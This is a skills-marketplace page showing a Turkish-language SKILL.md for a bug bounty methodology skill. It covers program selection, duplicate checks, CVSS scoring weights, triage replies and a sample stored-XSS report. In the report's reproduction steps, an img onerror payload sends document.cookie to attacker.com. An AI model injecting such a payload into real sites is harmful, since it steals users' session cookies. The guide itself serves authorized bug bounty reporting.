菜单
Bug bounty methodology — HackerOne/Bugcrowd/Intigriti, deduplication, rapor yazimi, severity scoring, payout maksimizasyonu advisory. Triggers on bug bounty, HackerOne, Bugcrowd, Intigriti, H1, BB, dedup, severity, CVSS scoring, bug report writing, triage.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/aibot88/sec_skill_store --skill pentest-bugbounty命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Guides the creation of agile user stories and Gherkin feature files. Use when the user wants to create a user story, write acceptance criteria, define Gherkin scenarios, or author BDD feature files. This should trigger for requests such as Create a user story; Write a user story; I need to write a user story. Part of cursor-rules-java project
Guía técnica completa para integrar 250+ servicios externos con agentes IA usando Composio. Cubre instalación, autenticación OAuth, gestión de herramientas, triggers y flujos multi-servicio.
Facilitates conversational discovery to create Architectural Decision Records (ADRs) for non-functional requirements using the ISO/IEC 25010:2023 quality model. Use when the user wants to document quality attributes, NFR decisions, security/performance/scalability architecture, or design systems with measurable quality criteria. This should trigger for requests such as Create ADR for Non-functional requirements; Document Non-functional requirements; Capture Non-functional requirements; Generate Non-functional requirements in an ADR. Part of cursor-rules-java project
基于 SOC 职业分类
正在显示 SKILL.md
| name | pentest-bugbounty |
| description | Bug bounty methodology — HackerOne/Bugcrowd/Intigriti, deduplication, rapor yazimi, severity scoring, payout maksimizasyonu advisory. Triggers on bug bounty, HackerOne, Bugcrowd, Intigriti, H1, BB, dedup, severity, CVSS scoring, bug report writing, triage. |
| license | MIT |
| compatibility | Works with Claude Code |
| allowed-tools | Read Write Edit Bash Grep |
| metadata | {"author":"badi","badi-version":">=1.24.0","category":"pentest","scope":"advisory","inspired-by":"0xSteph/pentest-ai-agents bug-bounty"} |
Bug bounty avlama disiplini — sadece yetkili programlar, ROE'ye sadakat, dedupe, kaliteli rapor.
| Faktor | Etki |
|---|---|
| Scope genisligi (*.target.com vs sadece app) | Saldiri yuzeyi |
| Bounty range (min-max) | ROI |
| Response SLA (gun cinsinden) | Sabir |
| Disclosure policy (public/private) | Portfolio buyumesi |
| Safe Harbor (yasal koruma) | Risk |
| Researcher rating gerekli mi (private prog) | Erisilebilirlik |
Onerilen baslangic: VDP (vulnerability disclosure program) -> public bounty -> private invitation.
Submission'dan once:
# H1 hacktivity
curl 'https://hackerone.com/<program>/hacktivity' | jq '.results[] | select(.title | contains("<finding-keyword>"))'
# Bugcrowd public submissions
# Program sayfasinda search
Eger ayni zafiyet tipi + ayni endpoint -> duplicate riski, baska program dene.
Base = Impact + Exploitability
Impact (CIA):
C/I/A: None=0, Low=0.22, High=0.56
Exploitability:
AV: Network=0.85, Adjacent=0.62, Local=0.55, Physical=0.2
AC: Low=0.77, High=0.44
PR: None=0.85, Low=0.62, High=0.27
UI: None=0.85, Required=0.62
Web exploit ornegi:
## Title
[CRITICAL] Stored XSS in admin panel allows session hijack of all admins
## Severity
CVSS 3.1: 9.0 (CRITICAL)
Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
## Summary
Authenticated low-priv user can inject JS into the comment field that
executes in admin browser when viewing dashboard. Session token is
exfiltrated to attacker-controlled domain.
## Steps to Reproduce
1. Login as low-privilege user (user@example.com / Test123!)
2. Navigate to /comments
3. Submit comment body: `<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">`
4. As admin, navigate to /admin/comments
5. Observe outbound request to attacker.com containing admin session cookie
## Impact
- Full admin compromise (session hijack)
- Persistent payload (stored DB)
- 1-click via existing admin workflow (no extra interaction)
## Proof of Concept
[screenshot1.png] — comment submission
[screenshot2.png] — admin browser request
[burp-export.har] — full HAR file
## Suggested Fix
- Server-side sanitize comment body (DOMPurify on save, not on render)
- CSP: `default-src 'self'; img-src 'self' data:`
- Cookie: `HttpOnly` + `Secure` + `SameSite=Strict`
## Additional Context
- Affected version: 4.2.1 (production as of 2026-05-15)
- Tested on: Chrome 119, Firefox 120
- No public PoC, no CVE assigned
Programa report'tan sonra triagecinin atip sorusabilecekleri:
| Soru | Hazirlikli Olun |
|---|---|
| "Reproduce edemiyoruz" | Video kayit ekle, browser/OS belirt |
| "User input limit yok zaten" | Real impact (admin session) demonstrasyonu |
| "Bu duplicate, sok N sundu" | Talep ettiginiz farkli endpoint / dedup linki |
| "Self-XSS sayariz" | Multi-user etkisini kanit |